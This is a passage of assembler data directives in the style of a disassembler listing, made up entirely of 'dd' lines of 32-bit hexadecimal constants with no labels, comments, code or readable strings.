		dd 489F7995h, 2B0AB9Bh,	39C822E4h, 764747C0h, 0E911400Bh
		dd 55066221h, 0D2C9C2CCh, 4B9CDE50h, 6D8F825Fh,	8FFD09B6h
		dd 0A0C005F5h, 0F09531FFh, 0CB07C2h, 98B050CEh,	80C80D86h
		dd 3F0A01C1h, 0DF0EE0ECh, 5483D8F6h, 2CE6B151h,	61FE4240h
		dd 95E908C9h, 59D52B79h, 0EC5F7FA8h, 5F58A238h,	680435E7h
		dd 0E9023DDAh, 90F545A8h, 94606EE9h, 0FA88E4D7h, 808367F2h
		dd 32251BF6h, 879E2703h, 90434D86h, 786F04B2h, 24897EF2h
		dd 4AEE3788h, 8B5CB249h, 50D805h, 352330BEh, 1DE0BF4Ch
		dd 7D1E042Fh, 0ADCF1F00h, 422E0128h, 9F42E857h,	32040996h
		dd 0A4AC4Bh, 511BB1BFh,	2F78165h, 5CF81CABh, 4155FD09h
		dd 8B303BDCh, 0E9483F77h, 0AA7792AFh, 893D9618h, 0C2623572h
		dd 4BF38AD2h, 80C7B39Dh, 0E331FFEBh, 5CCC0A0h, 10D367F6h
		dd 0A8F3E271h, 501ACB20h, 32746BB4h, 0C314E1DDh, 0D0FD2002h
		dd 68969D06h, 0C83938Ah, 469EFE5Dh, 0E9F7E275h,	0F9F720ECh
		dd 68166B92h, 0F0B32754h, 0B2F03C25h, 0A6C7F23Ah, 951528D2h
		dd 97523C2Bh, 938FAA55h, 0B144AC4Bh, 283B52F3h,	98801C1Ch
		dd 254BFFCh, 2B8B5A59h,	0F270ADE9h, 6F23D195h, 8F0677E6h
		dd 4A11C71Fh, 51147525h, 538ED49Dh, 0F108D9FAh,	7A4F5202h
		dd 76E04018h, 0F3C126B9h, 2C8010B4h, 68C1A25Ch,	3D7A600Dh
		dd 0D4CB2F69h, 364EB4Eh, 0ADD03C91h, 0BBC8242Eh, 0F30206FCh
		dd 132E5BBCh, 7C49F008h, 5F0EC3FAh, 0ACE1984Ah,	91B8F66Fh
		dd 0B5AB9298h, 0D9514161h, 7015F921h, 3180A170h, 5A5873C6h
		dd 0A300C0F5h, 783E8F0Dh, 0B4C55AE9h, 0AF5ED6B8h, 4F71EC2Ch
		dd 5B25AE5Eh, 0F784E4E9h, 45E9027Fh, 0B671D762h, 9FA0A0B9h
		dd 0C1525CD4h, 0B86EC41Eh, 2AF890C8h, 0C25BDB85h, 9071F3ADh
		dd 8103F64Ch, 8106D8C1h, 5E5F107h, 0C2E434B8h, 0EB03BCA9h
		dd 41617582h, 0FC4BFEDBh, 2AA369EEh, 0BAC3CED8h, 0FB013E53h
		dd 598909F7h, 57813A47h, 8BDF64B6h, 0DEAA3826h,	1D2950F7h
		dd 1617BB80h, 87333F7Dh, 0D191D46Eh, 3BD9293Ah,	0AC68D290h
		dd 853BC44Ch, 4334EAABh, 5A515DF7h, 32E97D48h, 5FEA8364h
		dd 0C72EA4EEh, 7C098558h, 336EDF7Eh, 792C9B2Fh,	5F2F3CE3h
		dd 0EA054D80h, 0A4AFB35h, 70390F1h, 6C6AE95Bh, 1BA041F1h
		dd 55AC07h, 6E52C9BAh, 5FEA8127h, 153A640Eh, 0B2BCD7D1h
		dd 0D44CE90Bh, 0B0816C77h, 278C9EF5h, 53F75DB2h, 0EDE9857Bh
		dd 0F7188880h, 33C83613h, 448C2B0Bh, 2B48193h, 9648E039h
		dd 5101EB11h, 0F1A86E80h, 10685881h, 7ED93E2Eh,	0A36FE6E9h
		dd 80553CCEh, 45282597h, 5BA1E95Dh, 0DE7FADE7h,	59A8CCC9h
		dd 0B102159Fh, 0EB95Eh,	823AD1C2h, 0A2F20116h, 0E9080290h
		dd 0CB6CD79Ah, 0BA81594Eh, 7EC0FCBDh, 6F74BF39h, 0FF58C509h
		dd 0D2F308A0h, 3E48C661h, 792925ABh, 52739216h,	0A276B80Bh
		dd 78145F57h, 3E68520Ch, 5FE4C974h, 35A3B24Bh, 0E3BFC87Ah
		dd 0DA46D25Eh, 0BF56DE6Dh, 8BC2A8F6h, 0B65C5DCCh, 834BDF41h
		dd 69C057FEh, 0A925E94Ah, 0EE825C92h, 0EA0FAA17h, 76A917AAh
		dd 0ADC3A612h, 705E2FC1h, 7A6CBCF3h, 8769C161h,	4659CE2Fh
		dd 32EADC95h, 3D5E5D53h, 874FD356h, 0E9CA91F6h,	7FD72E3Bh
		dd 3780EB6Ah, 1087451h,	80182CAh, 816142E9h, 9946884h
		dd 0DAE91928h, 5A2C002Ch, 0B331CD8h, 0F40359CBh, 0E89D2811h
		dd 0E91A7665h, 606A6CC7h, 395392E7h, 0F927E788h, 0FD2F895Fh
		dd 1E498B84h, 0AB00EF64h, 290EBF0Bh, 895F09FEh,	525F2077h
		dd 0C553BFADh, 0DF40EC65h, 4033D8BAh, 5A72907Ah, 708E9089h
		dd 30F9E802h, 2B1DC443h
		dd 0FFA55405h, 2F597A91h, 614E338Fh, 0E468A9h, 1822C181h
		dd 92827A91h, 32155B5Eh, 41A3291Eh, 87840308h, 57463225h
		dd 1E419C42h, 44E8E03Fh, 54C72D01h, 7FE90A3Ah, 0EB4A406Bh
		dd 1902C1B3h, 96D9012Fh, 0C3E1016Dh, 0E9122B52h, 1C3894h
		dd 0E63001B6h, 95632C58h, 0EEA50763h, 0CFF8750Eh, 27D8B0Bh
		dd 0D777B581h, 0E95B7648h, 8B26E12Eh, 423174CBh, 0C67D6288h
		dd 0F02522F7h, 0D19FAEA0h, 0F131DC13h, 9B84C08h, 7E03E689h
		dd 0AD2C3B24h, 0E10B8CC5h, 0B587D819h, 1C5D7862h, 0B0500158h
		dd 0E926B7CDh, 4A4A38DEh, 96ED91BEh, 4205005Ah,	379B0959h
		dd 0CC83E0C1h, 53033C47h, 980B73F1h, 2B0C0022h,	2957E27Eh
		dd 82BF384Ah, 0F512BDEDh, 83551BBAh, 26361027h,	2781C80Fh
		dd 0E6FFE562h, 77FF316Dh, 20478FA8h, 7F5EB609h,	0C1A491A9h
		dd 62108BF4h, 727AC5B0h, 5ACFBEA8h, 542A6A45h, 0A0065D39h
		dd 3C785672h, 0D53B8002h, 60434B7Eh, 277A549Fh,	54D81C66h
		dd 265AE05Ch, 12B0D834h, 20A37CCBh, 0D9803110h,	8F7991A6h
		dd 9BACE913h, 5BDD9244h, 40EFE4F4h, 0F40BBF14h,	0F451FE6Fh
		dd 92591F26h, 5E7FFCE5h, 0FE3034FAh, 8C44D18Ah,	4AD12768h
		dd 2993565Bh, 0F7AA1F13h, 44F95527h, 0D3F2AC3Fh, 124A56FBh
		dd 0A4A00834h, 2B38053Eh, 6CA00583h, 2C46F828h,	2D0ED301h
		dd 5FF93868h, 38014148h, 382F9F3Eh, 5DFB48CBh, 43B08416h
		dd 0EB79982Dh, 540DBAE2h, 68803E80h, 43170991h,	109AD15Fh
		dd 961FF70Bh, 6C64A178h, 883E5229h, 0A184CB0h, 4A1E2331h
		dd 0B1213CD1h, 3841A351h, 41E27006h, 48D69C90h,	30DAE7A5h
		dd 0EF409408h, 0B70A78DBh, 588EE95Fh, 25EBDD16h, 39D80BACh
		dd 295AA4F8h, 0E7C2C253h, 304CEE53h, 0F3656D60h, 0C3571ADh
		dd 0A4810C09h, 0E13B7FEFh, 84D7CDAEh, 4C4451D8h, 6BD029C2h
		dd 7700DC08h, 5817F15Ch, 2A063551h, 944F0144h, 0CB3824AEh
		dd 990822D7h, 787B096Ch, 32BD5A4Eh, 0F248898Bh,	0BB427044h
		dd 66D6090Bh, 0EB8874h,	0FF56DD6Eh, 77198079h, 97895B80h
		dd 5551DA74h, 0A59C4BDFh, 0F6BD7F7Bh, 0EFF18712h, 106FA3E2h
		dd 8D80CEE4h, 3DEA61CAh, 517F1B9Ah, 0FB35B0CDh,	0C4F64B77h
		dd 30F0047Eh, 3FC514B6h, 2ABE009Ah, 44FF581h, 67276A3h
		dd 0C524D1E5h, 0C20F0C54h, 877C871Eh, 500BCEDh,	0B60AE950h
		dd 1AB80054h, 4852CD23h, 0D802F7E2h, 0B75A9925h, 0A4427D51h
		dd 0C32549F6h, 0F801EB6Eh, 0B96A6811h, 2775088Bh, 7CB1152Ah
		dd 0FC4FFF0Bh, 90C381E2h, 3F675152h, 841A0E8h, 2FE38A89h
		dd 0C39D3159h, 0E70FDA56h, 42D64956h, 1DE3785Eh, 64744BC8h
		dd 35BA0236h, 0BEC0059Dh, 0E8C056EDh, 87E9CB21h, 48A69CC5h
		dd 0B7D5089Ah, 0C29D4ACh, 3064D56Bh, 4DC9E91Ah,	83C1FD1Dh
		dd 64BB56h, 0BE1B771Dh,	0F47660F5h, 0A55949E9h,	0D1F65A0Eh
		dd 4B80D94Bh, 9FEC8006h, 0FE26D4F4h, 6209D6C4h,	0D8D048CEh
		dd 7120260Bh, 9F5F1510h, 0E69CC028h, 3E0862E4h,	0E4DD281Bh
		dd 9F307F25h, 45D85460h, 8FA3FB9Fh, 0BCD6748Dh,	25409607h
		dd 0F12FADB9h, 9589A47h, 1271E743h, 0EC4B69F8h,	8FAE21C4h
		dd 7B4B5557h, 680934B3h, 56FE01A0h, 42D2562h, 772AC6ADh
		dd 196AF8A0h, 29F42613h, 24F19710h, 92B89D9Dh, 5D02CE01h
		dd 0C00E0D3Bh, 2EE6EDA6h, 8EE6A1Bh, 5902A926h, 567D1F68h
		dd 329563A7h, 0D8B2AE84h, 120CD918h, 732FDDB9h,	177E3Fh
		dd 482D20ACh, 0B7A2CF01h, 5AD70822h, 94F7A4C0h,	51A01C17h
		dd 402CA900h, 4C011EFFh, 841DFFAh, 0A3C0F9B2h, 930F59DFh
		dd 0D9879952h, 0F181048Eh, 0BD026E2Ah, 4EAC02FEh, 0F3FAA7B9h
		dd 680C3C7Eh, 90450EACh, 3F72654Bh, 920BDFC3h, 0F2606376h
		dd 4A99355Fh, 8A98FF0Eh, 0B63FF768h, 0DA4812C3h, 5FA8E3FAh
		dd 24DB2DBCh, 651EBAA5h, 0BE3DC82Ch, 0F9688A5Fh, 5319112Eh
		dd 59008C48h, 0F8B0C601h, 805952BDh, 92E10E5h, 72E920E2h
		dd 0C230A9C0h, 9CB75317h, 16451CBEh, 355BF2D0h,	11F6878Bh
		dd 5FD384h, 0C0F4F280h,	3F0776EAh, 7E1BEDC2h, 1B3D5A6h
		dd 9A2F0427h, 4B40440Ah, 421CE48Eh, 539C41E5h, 35F4DE26h
		dd 88035D27h, 143E0875h, 0A5EB2F3h, 0E90E90C3h,	993A55F0h
		dd 324AFCB7h, 6B417793h, 82B900B0h, 2CCE2579h, 5B6A7Fh
		dd 6105C5D5h, 0BD664F64h, 40930527h, 4AEF4187h,	0A4EEA07Bh
		dd 0B78B0A04h, 0B05060F4h, 0B2580C6Dh, 0FA7E2F3Ch, 9E860BA4h
		dd 0FC200EA4h, 0F8E9DE01h, 3E5099Dh, 50452EA6h,	4F82CAAFh
		dd 8566544Eh, 0E2BF004h, 3BC91F26h, 0C426D456h,	19B7E6F0h
		dd 5E10A499h, 30B7C82h,	0C0DF6127h, 2474C157h, 2B91FA3h
		dd 13AB20B7h, 6761AD40h, 4F31F213h, 0CF8E0500h,	0B801A5F1h
		dd 965B95C4h, 2C7D1D08h, 724E055Fh, 0F66EC394h,	770510F8h
		dd 1653DE97h, 5BCE44CFh, 0EC798931h, 23922BB7h,	49A9CD07h
		dd 0C8B37F89h, 0D1D51EBFh, 0FEFD0BEAh, 18C6667Fh, 5E9006C5h
		dd 7A12DF8h, 0C15F605Fh, 0E958E1A8h, 0C7BFB271h, 40B80C45h
		dd 50D2D11h, 4E7CE56Ch,	856B104h, 0A8BA0CBBh, 230BBE2Bh
		dd 5F379D0Eh, 5E60A2ECh, 3A668138h, 9D2F9090h, 0E9250DD2h
		dd 0BC2B5AE6h, 6CD3273Fh, 7E97E9E2h, 0C8011BCAh, 84D1EF9Bh
		dd 0C3897B6Bh, 2B681124h, 9F65912h, 42F6F004h, 0C64F48Ch
		dd 1C5F2721h, 8EAB8468h, 14EC7397h, 3A3BDE52h, 276D061Fh
		dd 0F1EE5DAh, 0FFE7983Bh, 4CB7EE36h, 702F2059h,	728DF980h
		dd 0CB25FCB7h, 7626000Ch, 981C7797h, 5709F624h,	2488CFB8h
		dd 859B31Dh, 31183A98h,	524368ACh, 8171059h, 2124AEF8h
		dd 1013B8AAh, 0F555387h, 13FA352Eh, 9B52BE8Ch, 0C2273FBDh
		dd 0ADBCAA7Eh, 806544EAh, 303D67F4h, 9E260CF8h,	0E0973058h
		dd 9B44E9F4h, 5FEA32F4h, 4064CE5Dh, 528034DEh, 0E92112B2h
		dd 0FA7953A6h, 2B20BE29h, 0B67DC48Ah, 5981AB23h, 12F0CE28h
		dd 6818C374h, 0BE850F9Ch, 0A85E218Fh, 5CA50466h, 1AC7669Fh
		dd 9EDED44Bh, 782C30D1h, 29E61046h, 258FF3BFh, 6CD66177h
		dd 0D7A560E6h, 0BF9CB570h, 864B1CFCh, 68B020EDh, 729261A4h
		dd 0CBC2BC4Bh, 0EC677558h, 8B2D5DA4h, 0ED667368h, 9868D043h
		dd 40844D53h, 0E91036AFh, 0D748A16Ch, 0B4711213h, 5A1E3CD1h
		dd 0C9C97960h, 1EB8799Ah, 36C54D55h, 2BB46E4Bh,	585EBD51h
		dd 58148BFAh, 18BF004Fh, 0B83EF63Ah, 0C93F6344h, 75CA9605h
		dd 0ECC299FAh, 8E9A549Fh, 5F82903h, 94DD5FECh, 1A84C80h
		dd 21F995C8h, 0E67A9B03h, 0C39EB75Dh, 3E4C0B3Dh, 1193F0Ch
		dd 6E5F420Dh, 0E4B1C7ACh, 5C565176h, 40F1A866h,	0FE1A5E60h
		dd 63C180C9h, 0B1E10B8Ch, 8891F1C0h, 2BE8CF5Ch,	0B505B1A5h
		dd 961C80DFh, 0C7FE5CCh, 59304C9Fh, 5B22BF10h, 0B9A503EEh
		dd 0AFE11473h, 0C8677B52h, 0B3684148h, 0C48C2E76h, 0AC2512B6h
		dd 6F00EE02h, 4554B850h, 8F7E519Bh, 30EA2AECh, 0E9F60113h
		dd 93BF10B6h, 8138C17Eh, 3FD6992Fh, 0D94AD0CEh,	681E8588h
		dd 3BA879ADh, 4D3881A4h, 1CBA0C1Bh, 0C2EB3521h,	5F5A5752h
		dd 9C0AE5D6h, 4A8ABC3Eh, 0BE02FA51h, 41165364h,	0C3288DC2h
		dd 0A4DCA24Bh, 30ADF5ABh, 2F00BC7Dh, 212D1325h,	0B8649215h
		dd 747F944h, 0E90411CAh, 0A8F3B10Ch, 0AE975D38h, 0ECD4EB3Fh
		dd 0B842D2A0h, 5C29E2ADh, 63108A67h, 0F0C4CF9h,	92316BB5h
		dd 1D979803h, 0F181A8D2h
		dd 24790916h, 0D954096Dh, 5E9E8309h, 0DFD80EEh,	0D8295D80h
		dd 9BD6DB8h, 0BB914BBh,	2AB93828h, 0B467C002h, 8597DE0h
		dd 4C65E083h, 39C1F858h, 39FE04E1h, 559B4105h, 4F4BBBF8h
		dd 0FFAE24EEh, 0FA4A94B2h, 746DB95Dh, 0F5BE56B9h, 310B31A8h
		dd 74294A20h, 676805F9h, 8A529856h, 28205341h, 0F9414B4Bh
		dd 0B5C78110h, 247A8426h, 0FA08176Dh, 8A14193Dh, 0B195A8AEh
		dd 0D104502Ch, 948FCA9Dh, 4B45932h, 3AB85D64h, 10AE5B0Dh
		dd 323879ADh, 0E7815801h, 144A4B08h, 3302031h, 0BF192D6Eh
		dd 8288D353h, 20E52069h, 0DBA2529Ch, 91AF5877h,	0EB5A64E6h
		dd 0C981DF8h, 39051E59h, 1530E976h, 0B9D9D093h,	0E63EF747h
		dd 60562DDEh, 4E620362h, 81CC0138h, 605C4A39h, 5D82760Dh
		dd 694925F0h, 6DA5409Ah, 2AB24007h, 0B1AB5A68h,	0A822AF7Dh
		dd 0EE5EF517h, 0EA3A5F39h, 61AAC424h, 345837E1h, 39124C14h
		dd 0E02338Ah, 0DFB062D3h, 1D385C60h, 2950890Dh,	8061CF3h
		dd 0FD14821Ch, 6020EE89h, 2F3CD535h, 0DD4E427Ah, 98FA2316h
		dd 0F141A2DFh, 9F52BC3Bh, 4CE24F93h, 1729C150h,	0EE731A2Eh
		dd 84D30210h, 6BE93C9Eh, 0AA5BDF17h, 0FD7FBB29h, 3EECC5CBh
		dd 926E6AAh, 7A861DE9h,	6FCD0B39h, 0FA417A1Ah, 5A0842EFh
		dd 6B4B51DDh, 3880E657h, 0FF4B8C3Ah, 0C725C9CAh, 0DB7E4FA7h
		dd 3E5EFC6Eh, 0CC5BF80Dh, 0BD3693E0h, 83076D22h, 96D920F7h
		dd 2C313F05h, 18DA3C08h, 75F3B985h, 0ED46A14h, 311604C7h
		dd 80C4B335h, 0E7A016BFh, 0C8C4C4D0h, 5E85E3B9h, 0C1E4CDB5h
		dd 585366E1h, 30AB072Ch, 0C8355AD1h, 0F44090BCh, 827FBEBBh
		dd 37160EA6h, 45FCA850h, 2AFF5C7Eh, 0EB960DA9h,	2AE9E6C8h
		dd 5A8F3A7Ah, 0C7036E6h, 8D54F609h, 0AA3F003Dh,	0B7145CD9h
		dd 68DFDB6Ah, 79EA2EF5h, 4F30B051h, 5F6CA458h, 48B86B4Ah
		dd 0C725B99Fh, 7227B9F2h, 7F4DE457h, 0ACF35451h, 809117B5h
		dd 0E39004EDh, 84B90047h, 97492D46h, 65646160h,	222D4082h
		dd 0EC3B4E2Ah, 0B8AA39F4h, 915D867h, 6F0253h, 2788E195h
		dd 187460B7h, 31441058h, 71E9490Ah, 0B488C675h,	0C3280C4Dh
		dd 9FBE9DAAh, 0B8AC6869h, 0FE130064h, 68E00547h, 0C0EA66D2h
		dd 0C42F8332h, 9FDAD823h, 0E92566BCh, 80070192h, 17A4FEAh
		dd 5AD430C4h, 0E958D428h, 449B6F27h, 6A70B56Bh,	0FEB20527h
		dd 6DB90295h, 0A2D52EE6h, 0F9625BC8h, 0EED645E6h, 29FA2117h
		dd 4756F2Ah, 0E016CFB3h, 931BAD19h, 7CECE340h, 9F4F1151h
		dd 6A02BFC9h, 58099AACh, 0DCF0634Ch, 7F07F609h,	9C99DCBFh
		dd 34B0C9EEh, 8341CCDFh, 5F9F2D0Ch, 72BBD1h, 123485F3h
		dd 0C8E49F01h, 65CC16C3h, 9FE9896Ch, 0D1F9076Eh, 789972E2h
		dd 2F564E7Fh, 0F5515FDFh, 6ECA86C8h, 0D2628B38h, 15E4A1Eh
		dd 8BA3E908h, 0F8B32692h, 745B24C9h, 1AEF542h, 0D8297EBFh
		dd 0F7348123h, 0F5A10D7Ah, 846EB37Eh, 29E37F57h, 64F0FF27h
		dd 3634F797h, 2D9EE9Dh,	38CA6855h, 575EABh, 3920F417h
		dd 10294B56h, 3D7F08BAh, 9138F101h, 3FCDEBCBh, 0A71E730h
		dd 5533B01Bh, 10D6028Ah, 97E05687h, 61827003h, 1670FF69h
		dd 6C082CDh, 0DC9006E7h, 33A49C4Ah, 680DC45Fh, 3478FD49h
		dd 0C6BFAF10h, 75C06E9h, 4D2033h, 9D7CEDBDh, 9A20BB11h
		dd 0BA0FD4Ah, 143F1296h, 398A1E4Bh, 0D87E0851h,	0DBF96810h
		dd 0A7B16912h, 0F40291EDh, 58080516h, 3002C341h, 5180307Bh
		dd 53283CB1h, 4484BBCAh, 0B856A8BAh, 0C00BC2B9h, 615703EDh
		dd 65CD80F6h, 80F7CBCFh, 903459E8h, 8F152C4Bh, 7618401Ch
		dd 0F195570Fh, 0FCE9C1A6h, 1993E5Bh, 127F86E9h,	0EEBB1276h
		dd 5F2F20A6h, 72C56F68h, 795C6382h, 953F2E04h, 0EDE9903h
		dd 0C2479683h, 0BD22E67h, 27DD6485h, 7DC46EA6h,	45BE5C5Fh
		dd 8C685722h, 22F6BF65h, 0CE895617h, 12048156h,	3501203Ah
		dd 70A209BDh, 7F4BFA22h, 0F0B672E3h, 580CFE92h,	0E1116668h
		dd 0EB784B3Fh, 0DF29D662h, 2CCDE387h, 0E298DADDh, 0EB6DD40h
		dd 53EE804Bh, 0C011F663h, 0E6C905B3h, 0CB1896CFh, 5775FD0Dh
		dd 54F7641h, 8BFC12ADh,	1C685D0Dh, 2DA2F07Bh, 0E8404102h
		dd 51C729DCh, 0E4534550h, 9D4A8722h, 82578CBAh,	0ADAC4A5Bh
		dd 6483D1D2h, 0E3E33BCFh, 8D614612h, 24B131FCh,	781F8228h
		dd 0F9576B7Bh, 0DE6F600Bh, 0A06250C6h, 5EF96695h, 68D280D1h
		dd 0EE9F57C3h, 0EDE93B1Ch, 124AEFDDh, 1340E655h, 61EE5EF3h
		dd 7D7AA113h, 0B04D236h, 59043C3Fh, 0A6FEC85Dh,	14BA4E14h
		dd 2D020108h, 442908B2h, 0C410666h, 1A13BF04h, 0E4FA94BFh
		dd 0C5F8D58h, 1A5E25Ch,	43326B88h, 8CE0C171h, 88F827BFh
		dd 0D1893C0h, 0DA290212h, 58082F10h, 0BC01852h,	0E27AB8B7h
		dd 0C13E0F21h, 5CE08E0h, 0E6881CF8h, 4B5E3CEEh,	0BD93B3E2h
		dd 9193DAEh, 4954F5h, 8736EB87h, 0B841EE66h, 4434083Ah
		dd 3A03455Ch, 456F72Fh,	0D93E671Bh, 6E2FE113h, 6B36E8C1h
		dd 127EBD7Ah, 78FA5AD5h, 4A55E9BFh, 5DFA8287h, 57BEE4F5h
		dd 0E9E10BF4h, 0F72C0379h, 4671298Bh, 0E400FE6Bh, 7E5C0C90h
		dd 4D133FA3h, 6330975Ch, 6C11B818h, 967F318h, 9F89C8C4h
		dd 0AE22DDECh, 386AD56Eh, 0A9B30492h, 55BB097Fh, 1461A2Fh
		dd 0D49D5D62h, 5C29185Ah, 54B7984Eh, 7A5C4B6Ch,	5E719BA4h
		dd 9535C9E2h, 0C0C0A83Fh, 64733739h, 37619F09h,	7166D0D9h
		dd 86F8082h, 0B07DFC7Bh, 0A22609D4h, 1B00A0D8h,	68BC67DCh
		dd 2BA2DAB0h, 0E5F0806h, 0BB09A20Ch, 39D2A53h, 0E94FF205h
		dd 0B32766F6h, 0F80977C6h, 6C96C857h, 96DBBEBCh, 0B888402Dh
		dd 31A229DEh, 50E0D125h, 247002B0h, 0E8C16A0Dh,	0E26DA9C1h
		dd 0C15192F5h, 10042D3h, 659E05F8h, 22105AAFh, 18203851h
		dd 9E39A34h, 1A2466B0h,	2FB5F00h, 21B576FCh, 3B10C9F4h
		dd 2BA560EEh, 637D82F5h, 1C56F81Bh, 0A7CC9517h,	0C6760F04h
		dd 94824B44h, 90C5648Bh, 0E0342706h, 0C89594ECh, 82B37DCDh
		dd 0E888A7D4h, 2D5D01F9h, 606670EAh, 405BE696h,	2DAA88Ch
		dd 525AD328h, 0E46072B6h, 0E641C0A7h, 9730DCD8h, 6E4B8150h
		dd 52DB0Bh, 0A50C9954h,	0C7D7A072h, 8D24C96Bh, 0E989A65Bh
		dd 263D58DFh, 13B1BEh, 0CBD557Bh, 0EF4AA249h, 3D1647ECh
		dd 0D205EC22h, 2197E2E3h, 425AE31h, 3279C0BFh, 4E42721Eh
		dd 4087B912h, 36CE212h,	0CC02E0Eh, 46911718h, 3BBE2AE9h
		dd 0D7CF50F0h, 9F29F67Eh, 28F82500h, 2EF14EE0h,	2F4ADEC1h
		dd 51C8B800h, 0F021932Fh, 6B0D0917h, 405D5565h,	7F748AFFh
		dd 0AF050420h, 916E6FC9h, 7B5ADCB2h, 0EE00D6CAh, 0FB76DA33h
		dd 7560CCE9h, 685AD08Fh, 30055BF7h, 510B4645h, 25E55D5Ch
		dd 0E160DF06h, 6680574Bh, 7AFE5852h, 0BB97013Dh, 1BEE67Ah
		dd 3846EF81h, 0D54047BAh, 0DDFE3BC4h, 48F78318h, 241E4FF1h
		dd 37831F0Dh, 469D9E9h,	0EA4017F3h, 2C05BF4Bh, 38EB911Bh
		dd 0D17288CBh, 73E9CC1Fh, 0B7147FADh, 46AA0D90h, 0AB302B70h
		dd 0AFBA0E46h, 387A281Fh, 290A0E8Ah, 0D66C7609h, 0CE9533CCh
		dd 917C9D5Ah, 0E9050144h, 0BC16EF17h, 6E4DDDFEh, 5E1CEF5Bh
		dd 0CB80D84Ah, 681ED40h, 0CA09C4F6h, 95F00C0Bh,	0D0B7E42Ch
		dd 0D8DBE90Eh, 1632B8B9h, 0F110546Ch, 6B6AF944h, 70E3C34Bh
		dd 0FC2AD648h, 0FD2BB917h, 59C88262h, 1FC6C833h, 6F80826Eh
		dd 39B14961h, 0E7E68100h
		dd 0C111FD42h, 830639EEh, 0C5C6BFEEh, 0F24A8846h, 4C075BC0h
		dd 1D3EE375h, 0EFEED692h, 0E83E0489h, 0BF64B64h, 258A711Ch
		dd 56ECB07Fh, 0F699975Fh, 0B1853A46h, 89FCE2FAh, 974501Ch
		dd 5F6E53C3h, 0E7D2BD7h, 678DEED8h, 2072CB89h, 0A8667CD5h
		dd 0D391313h, 0FB97E060h, 6FE57117h, 413B4CB4h,	6CC53063h
		dd 62AF7E05h, 1EF1D3F7h, 92CC169Eh, 0C27F06D2h,	0EE06E94Fh
		dd 19C65A9Eh, 6474090Ch, 6E05635Bh, 18B8FDE1h, 0CDDB0A37h
		dd 3BC09759h, 45028B05h, 0C4E974CFh, 0BA96776Dh, 636FE5BEh
		dd 0D57C5DBCh, 72DE10Ah, 10161D24h, 0A9BF3880h,	7A8D0961h
		dd 8504474Fh, 0D8BB1764h, 9EB2592Ah, 0B7792F20h, 9C30CDCCh
		dd 1EF2DDA8h, 45C9252Ch, 677485D7h, 0EA0512D0h,	6C022709h
		dd 0FB8B2F76h, 6077D460h, 5E5C3BEFh, 62F52E4Eh,	8B560805h
		dd 0BF5B5BCAh, 0CB6F8B29h, 5C155066h, 5E2F3393h, 1101989Ch
		dd 8E6053E9h, 3673F123h, 171D5FDCh, 0AE6A8411h,	0BAE4A7FDh
		dd 8E851AADh, 2D0FD57h,	0EB5113C1h, 0C38E7D6Bh,	3F1D88ADh
		dd 4BCA94E4h, 0E0C189E0h, 10CC5D0Bh, 9772335Bh,	975CD10Bh
		dd 9D6A3D70h, 6EE053E8h, 1A537424h, 0C1ED8185h,	12FA1C0h
		dd 8BCAF1C5h, 0C67B5608h, 0C22DB6EDh, 0B010DF47h, 0BA8075B5h
		dd 0CB7B3A8Dh, 2152054Ah, 0E9CB61E8h, 5EC66CDEh, 680F3DFBh
		dd 0AC9C8477h, 6EA8006h, 51320D90h, 0F83BEA88h,	4A679D76h
		dd 586054ADh, 0EFAC737Ah, 5762450Bh, 2527705Eh,	0C97D6E3Dh
		dd 0E1704257h, 4811761Eh, 0F1045930h, 804CB668h, 0BE415741h
		dd 0D7013410h, 4FE90840h, 0A87612CEh, 4BEA4AEAh, 0EAC86650h
		dd 7D95438Fh, 9E0593AFh, 5C56B471h, 65CA4016h, 12607BB8h
		dd 4C964572h, 9B5F690h,	0DAF17F25h, 227B6885h, 0E19531EAh
		dd 0CFCA6A17h, 0FDE2C307h, 28E913BFh, 3DB697A4h, 0D842D403h
		dd 8E89C02Dh, 45D136B8h, 0E87E5A5Ch, 0CE29C5B4h, 0E9096ECBh
		dd 1FC60E42h, 8F5422CFh, 31AB1345h, 0AF8AEBA5h,	6914FD10h
		dd 348E0155h, 52DCA3Eh,	8388021Ah, 348FFBC2h, 16D2AB24h
		dd 86927557h, 3C4C7542h, 0CF097690h, 0DD554776h, 97075BA2h
		dd 4218DC55h, 71E5B12Dh, 0FD02E524h, 8466B216h,	0AC13C384h
		dd 11800B39h, 0C6FE840Fh, 5F27CBBEh, 91AB9B91h,	841CAC6Eh
		dd 0BCBA5421h, 3DAEB482h, 77D92EE8h, 8505EE2Eh,	73F770E3h
		dd 91426316h, 2A9051AAh, 33E65620h, 7E153C03h, 8692DE3Fh
		dd 0DE59BD04h, 0D266AAC9h, 0E0B65D92h, 7F2AAF4Ah, 24DE2E50h
		dd 14884452h, 841B8FBh,	0BF598F30h, 0EB4A9F96h,	409F18AFh
		dd 6E345CD3h, 0D4AB0C07h, 0AFE2128Bh, 13319713h, 405992Ch
		dd 8185ADh, 0B551E2D0h,	0ED801CFBh, 8FC2DE7Ah, 0BF1CEA28h
		dd 6F685984h, 636CAF01h, 0F6D57288h, 99E5EA59h,	14296F4Ah
		dd 8BDD4F75h, 0C0D7205Ch, 95159D61h, 66471871h,	0C70196FCh
		dd 3E3075A6h, 0F608D04Ch, 0E910168Bh, 0EF35D289h, 6812D344h
		dd 0AC8D152Fh, 382B11FCh, 52CC4A55h, 86117E34h,	6EA1B54Ch
		dd 0D6A5970Dh, 64E8E680h, 3534008Ah, 6A705D7Eh,	0D79532E9h
		dd 0BC2BAA0h, 30F656F1h, 56167C6Bh, 874C8976h, 0CF7EF15Dh
		dd 0EC41D4E5h, 991696D3h, 0BDCCE0h, 48106DDEh, 47F58145h
		dd 0DA575A24h, 47C4E216h, 0B1ABE8EEh, 2B6440FAh, 43580FA2h
		dd 75664A02h, 42FD958Fh, 147C59AEh, 863B760Ch, 659C5058h
		dd 6E7E12ADh, 216FE0Eh,	0ECF85E0h, 7BDE20D9h, 4137F7C0h
		dd 86900D8Ah, 257AD2F6h, 114E1BDh, 7CABE903h, 0D2F2AB85h
		dd 270AEA81h, 389D6C77h, 5828E76Bh, 2504E5EEh, 810161E2h
		dd 8565BDCAh, 0EF12B45h, 4E879FE7h, 0C26A80CBh,	5E4D2F54h
		dd 5A2B564h, 51206208h,	8149A0C1h, 660DB9FFh, 0D77F5EA1h
		dd 4B3330ECh, 0BCF3200Ch, 15C98382h, 0C22A9229h, 27BD54E8h
		dd 0D45700B2h, 3EC55103h, 2D597600h, 7B7C011Dh,	444A2612h
		dd 87D58F2Ah, 6844490Fh, 0AFBDEAh, 262D5BC9h, 39D3F381h
